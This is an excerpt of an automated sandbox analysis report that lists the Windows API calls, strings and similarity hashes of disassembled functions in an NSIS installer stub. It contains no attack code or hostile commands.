CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040C5
GetDlgItem.USER32(00000000,000003E8), ref: 004040D9
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004040F7
GetSysColor.USER32(?), ref: 00404108
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404117
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404126
lstrlenA.KERNEL32(?), ref: 00404129
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404138
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040414D
GetDlgItem.USER32(?,0000040A), ref: 004041AF
SendMessageA.USER32(00000000), ref: 004041B2
GetDlgItem.USER32(?,000003E8), ref: 004041DD
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040421D
LoadCursorA.USER32(00000000,00007F02), ref: 0040422C
SetCursor.USER32(00000000), ref: 00404235
ShellExecuteA.SHELL32(0000070B,open,007A0EE0,00000000,00000000,00000001), ref: 00404248
LoadCursorA.USER32(00000000,00007F00), ref: 00404255
SetCursor.USER32(00000000), ref: 00404258
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404284
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404298

Strings

open, xrefs: 00404240
N, xrefs: 004041CB

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction ID: 325d301b2710361d9817967eb08788495a0e15e312a989604f50e6602a626d4c
Opcode Fuzzy Hash: ffa70ba6b414771cfedee8d2664e4b0672246e5e1ae3d005f3366e5b10bf2318
Instruction Fuzzy Hash: 9161C671A40209BFEB109F60DC45F6A7B69FB84744F10816AFB05BA2D1C7BCA951CF98

Function 004031EC Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 156stringfilecomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,007A9400,00000000,00000020), ref: 004032D5
GetWindowsDirectoryA.KERNEL32(007A9400,000003FB,?,007A8000,00000000,?,?,00000160), ref: 004032E6
lstrcatA.KERNEL32(007A9400,\Temp,?,007A8000,00000000,?,?,00000160), ref: 004032F2
GetTempPathA.KERNEL32(000003FC,007A9400,007A9400,\Temp,?,007A8000,00000000,?,?,00000160), ref: 00403306
lstrcatA.KERNEL32(007A9400,Low,?,007A8000,00000000,?,?,00000160), ref: 0040330E
SetEnvironmentVariableA.KERNEL32(TEMP,007A9400,007A9400,Low,?,007A8000,00000000,?,?,00000160), ref: 0040331F
SetEnvironmentVariableA.KERNEL32(TMP,007A9400,?,007A8000,00000000,?,?,00000160), ref: 00403327
DeleteFileA.KERNEL32(007A9000), ref: 0040333B

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,007A1740,NSIS Error), ref: 00405D19

OleUninitialize.OLE32(?,?,007A8000,00000000,?,?,00000160), ref: 004033E9
ExitProcess.KERNEL32 ref: 0040340A
lstrcatA.KERNEL32(007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040341D
lstrcatA.KERNEL32(007A9400,0040914C,007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040342C
lstrcatA.KERNEL32(007A9400,.tmp,007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 00403437
lstrcmpiA.KERNEL32(007A9400,007A8C00), ref: 00403443
SetCurrentDirectoryA.KERNEL32(007A9400,007A9400,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040345F
DeleteFileA.KERNEL32(0079D100,0079D100,?,007A3000,?,?,?,?,007A8000,00000000,?,?,00000160), ref: 004034B8
CopyFileA.KERNEL32(007A9C00,0079D100,00000001), ref: 004034CC
CloseHandle.KERNEL32(00000000,0079D100,0079D100,?,0079D100,?,?,?,?,007A8000,00000000,?,?,00000160), ref: 004034F9
GetCurrentProcess.KERNEL32(00000028,?,007A8000,00000000,?,?,00000160), ref: 00403527
OpenProcessToken.ADVAPI32(00000000,?,?,00000160), ref: 0040352E
LookupPrivilegeValueA.ADVAPI32(?,SeShutdownPrivilege,?), ref: 00403546
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,?,?,?,SeShutdownPrivilege,?,?,?,00000160), ref: 00403565
ExitWindowsEx.USER32(00000002,80040002), ref: 00403589
ExitProcess.KERNEL32 ref: 004035AC

Strings

\Temp, xrefs: 004032EC
TMP, xrefs: 00403322
TEMP, xrefs: 0040331A
Error launching installer, xrefs: 004033A1
, xrefs: 004031F5
Low, xrefs: 00403308
", xrefs: 004031FD

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: lstrcat$Process$ExitFile$CurrentDeleteDirectoryEnvironmentPathTempTokenVariableWindows$AdjustCloseCopyHandleLookupOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrcpyn
String ID: $"$Error launching installer$Low$TEMP$TMP$\Temp
API String ID: 109303428-2954788235
Opcode ID: e57893c5a4b4b56e07fd3f320070d45fedc72311b9e01cbb27cc815fb34ee3c7
Instruction ID: 52ba2056256e4fc5d81563e245770fdf21b793b40914789873f765571559dbb7
Opcode Fuzzy Hash: e57893c5a4b4b56e07fd3f320070d45fedc72311b9e01cbb27cc815fb34ee3c7
Instruction Fuzzy Hash: 9251E4306086925AE7256B355D9D62B7FA99B82306F0845BFE091761E3C77C4A04C72E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,007A1740,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction ID: 5377a76c68583d826c01589a66ce84b6d9bb3dc06a218cd9f98f6b2c798b1645
Opcode Fuzzy Hash: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction Fuzzy Hash: 74419C71804249AFCB058FA5CD459BFBFB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405A55 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A02D0,NUL,00000000,00000000,?,?,00405BE8,?,?), ref: 00405A64
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00405BE8,?,?), ref: 00405A88
GetShortPathNameA.KERNEL32(?,007A02D0,00000400), ref: 00405A91

Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000), ref: 004058F4
Part of subcall function 004058E4: lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000), ref: 00405926

GetShortPathNameA.KERNEL32(?,007A06D0,00000400), ref: 00405AAE
wsprintfA.USER32 ref: 00405ACC
GetFileSize.KERNEL32(00000000,00000000,007A06D0,C0000000,00000004,007A06D0,?), ref: 00405B07
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B16
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B4E
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0079FED0,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA4
GlobalFree.KERNEL32(00000000), ref: 00405BB5
CloseHandle.KERNEL32(00000000), ref: 00405BBC

Part of subcall function 0040597F: GetFileAttributesA.KERNEL32(00000003,00402CA6,007A9C00,80000000,00000003), ref: 00405983
Part of subcall function 0040597F: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

Strings

%s=%s, xrefs: 00405AC2
[Rename], xrefs: 00405B36, 00405B48
NUL, xrefs: 00405A5E

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 3ad923b7e2ffebba14b4d0091a5c8973f8d5934e7dcb027ff098b41b160bb7b7
Instruction ID: 28628270b370f13d709f2e98436788b9d19fd6dde28ce54c0a079e884eb7da61
Opcode Fuzzy Hash: 3ad923b7e2ffebba14b4d0091a5c8973f8d5934e7dcb027ff098b41b160bb7b7
Instruction Fuzzy Hash: 5A311371605B18ABD6206B215C89F6B3A6CDF45764F14013BFE01F22D2DA7CBC008EAD

Function 004030EC Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 89comstringCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00403111
GetVersion.KERNEL32 ref: 00403117
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403140
#17.COMCTL32(00000007,00000009), ref: 00403162
OleInitialize.OLE32(00000000), ref: 00403169
SHGetFileInfoA.SHELL32(0079D500,00000000,?,00000160,00000000), ref: 00403185
GetCommandLineA.KERNEL32(007A1740,NSIS Error), ref: 0040319A
GetModuleHandleA.KERNEL32(00000000,007A8000,00000000), ref: 004031AD

Strings

NSIS Error, xrefs: 0040318B
UXTHEME, xrefs: 00403134, 00403139, 0040313F
, xrefs: 004031F5

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CommandErrorFileHandleInfoInitializeLineModeModuleVersionlstrlen
String ID: $NSIS Error$UXTHEME
API String ID: 165832124-3141987311
Opcode ID: 1ad40cf231cef688e36d91fd9a3e21bab93d8400c6bfb87b22026247c55ff5e7
Instruction ID: 9530dd6589d81eaf48f38f9586a93627c9eaa123d35ec40a75715a6d1f0fb1b7
Opcode Fuzzy Hash: 1ad40cf231cef688e36d91fd9a3e21bab93d8400c6bfb87b22026247c55ff5e7
Instruction Fuzzy Hash: 7331A4B0808381AFE7216F609D0DB1B7EA8AB46345F40457EF585B62D2C77C5904876F

Function 0040432F Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040437E
SetWindowTextA.USER32(00000000,?), ref: 004043A8
SHBrowseForFolderA.SHELL32(?,0079D918,?), ref: 00404459
CoTaskMemFree.OLE32(00000000), ref: 00404464
lstrcmpiA.KERNEL32(007A0EE0,0079E540), ref: 00404496
lstrcatA.KERNEL32(?,007A0EE0), ref: 004044A2
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044B4

Part of subcall function 004054E6: GetDlgItemTextA.USER32(?,?,00000400,004044EB), ref: 004054F9

Part of subcall function 00405F77: CharNextA.USER32(?,*?|<>/":,00000000,007A8000,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FCF
Part of subcall function 00405F77: CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
Part of subcall function 00405F77: CharNextA.USER32(?,007A8000,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FE1
Part of subcall function 00405F77: CharPrevA.USER32(?,?,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FF1

GetDiskFreeSpaceA.KERNEL32(0079D510,?,?,0000040F,?,0079D510,0079D510,?,00000001,0079D510,?,?,000003FB,?), ref: 00404572
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040458D

Part of subcall function 004046E6: lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
Part of subcall function 004046E6: wsprintfA.USER32 ref: 0040478C
Part of subcall function 004046E6: SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

A, xrefs: 00404452
@y, xrefs: 0040442C

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: @y$A
API String ID: 2624150263-3907635629
Opcode ID: 1f04011cd929a6ac753454b4e803030b1d74a73dbc625a6aba5b626a06529df5
Instruction ID: dc70ebfb722856edf20ca9fe518129045a13840cef36c67e0ec65d3b8ea71268
Opcode Fuzzy Hash: 1f04011cd929a6ac753454b4e803030b1d74a73dbc625a6aba5b626a06529df5
Instruction Fuzzy Hash: 69A182B1900208ABDB11EFA5DC45BAF77B8EF85314F10843BF601B62D1D77C9A418B69

Function 00405D2E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,0079DD20,00000000,00404F5D,0079DD20,?), ref: 00405DDF
GetSystemDirectoryA.KERNEL32(007A0EE0,00000400), ref: 00405E5A
GetWindowsDirectoryA.KERNEL32(007A0EE0,00000400), ref: 00405E6D
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405EA9
SHGetPathFromIDListA.SHELL32(?,007A0EE0), ref: 00405EB7
CoTaskMemFree.OLE32(?), ref: 00405EC2
lstrcatA.KERNEL32(007A0EE0,\Microsoft\Internet Explorer\Quick Launch), ref: 00405EE4
lstrlenA.KERNEL32(007A0EE0,?,0079DD20,00000000,00404F5D,0079DD20,?), ref: 00405F36

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405EDE
., xrefs: 00405DF5
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E29

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: .$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3562769014
Opcode ID: 73dbfc29bf3470c7d6367ce376a7e9113c10d5c9b9e67424bfeb29fbed748c0a
Instruction ID: 9bfabfc36fba32fb106481ebf294e43342570200e8730ead7ab322b99494356e
Opcode Fuzzy Hash: 73dbfc29bf3470c7d6367ce376a7e9113c10d5c9b9e67424bfeb29fbed748c0a
Instruction Fuzzy Hash: F7611231904A05ABEF115B24CC84BBF7BA8DB56314F10813BE555BA2D1D33D4A82DF9E

Function 00403F58 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F75
GetSysColor.USER32(00000000), ref: 00403F91
SetTextColor.GDI32(?,00000000), ref: 00403F9D
SetBkMode.GDI32(?,?), ref: 00403FA9
GetSysColor.USER32(?), ref: 00403FBC
SetBkColor.GDI32(?,?), ref: 00403FCC
DeleteObject.GDI32(?), ref: 00403FE6
CreateBrushIndirect.GDI32(?), ref: 00403FF0

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 03c35b03fdde5f33accd48f8e357bf0732577442a8f103693b6bf1e6191b16fb
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: 71216271904705ABCB219F68ED48B4BBFF8AF01715B04892AF996A22E0D734EA04CB55

Function 00402CF4 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000020), ref: 00402E17
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,000000FF,00000000,00000000,?,?), ref: 00402E7D

Part of subcall function 00402C02: DestroyWindow.USER32(?,00000000,00402DE2,00000001), ref: 00402C15

Strings

Null, xrefs: 00402D5D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
Inst, xrefs: 00402D4B
soft, xrefs: 00402D54

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: AllocDestroyFileGlobalPointerWindow
String ID: Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 1580554587-639894862
Opcode ID: fffe8b8e403523734369af5898b5e11c6e0617be3f7447c34a35d2c165863f8a
Instruction ID: 39178c7b2a097e10986a8221dbe80c0c0983fb1c2a92df0a9df461dc277e373f
Opcode Fuzzy Hash: fffe8b8e403523734369af5898b5e11c6e0617be3f7447c34a35d2c165863f8a
Instruction Fuzzy Hash: 6241D1319412489FEF21CF64DA89B9E7BA4AF00364F14803BE904B62D1D7BC8E408B99

Function 00404F25 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079DD20), ref: 00404F5E
lstrlenA.KERNEL32(?,0079DD20), ref: 00404F6E
lstrcatA.KERNEL32(0079DD20,?,?,0079DD20), ref: 00404F81
SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00404F93
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: ae5a33e3d6ef4a2dfae6681722ed20d30719a13dce45ba5cd49bbad590cb7158
Instruction ID: b1dc6bec94ba42b715134808c0c3c35089c42976f802e7ea77bea70e7b84fba8
Opcode Fuzzy Hash: ae5a33e3d6ef4a2dfae6681722ed20d30719a13dce45ba5cd49bbad590cb7158
Instruction Fuzzy Hash: 1F21817190011DBFDF119FA5DD449DEBFA9EF45354F04807AFA04A6291C7388E409BA8

Function 004047F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040480B
GetMessagePos.USER32 ref: 00404813
ScreenToClient.USER32(?,?), ref: 0040482D
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040483F
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404865

Strings

f, xrefs: 00404841

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: d51aeaa30401db709ca0a87e6a09b4ddb89123452d3ebce91a639796f0b83af5
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: 54019275D00218BADB00DBA4CC41BFEBBBCAF85711F10412BBB10B71C0C7B465018BA5

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32(?,00000064,?), ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 48144200f4c6f9ee60b46832c8e283eb409d8b227d927ad2aa9f7c6060ff8dca
Instruction ID: 06d6233bfb864841df38fb05631849b064d35824abf3621066cb5e46443ac4cc
Opcode Fuzzy Hash: 48144200f4c6f9ee60b46832c8e283eb409d8b227d927ad2aa9f7c6060ff8dca
Instruction Fuzzy Hash: EE014F70540209FBEF209F60DD4AEAE3B69AB04304F00803AFA16B92D0D7B8A951DB59

Function 004053EB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,?,00000000), ref: 0040542E
GetLastError.KERNEL32 ref: 00405442
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405457
GetLastError.KERNEL32 ref: 00405461

Strings

ts@, xrefs: 004053F1
ds@, xrefs: 00405420

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: ds@$ts@
API String ID: 3449924974-968229870
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 8acfd36fb30660db29d177a8be8d7647adb8d58efdd4f3c758bfd1505ce0b010
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: CF010871D14259EADF119FA4D9447EFBFB8EF04315F004176E904B6290D378A644CFAA

Function 00406037 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040604E
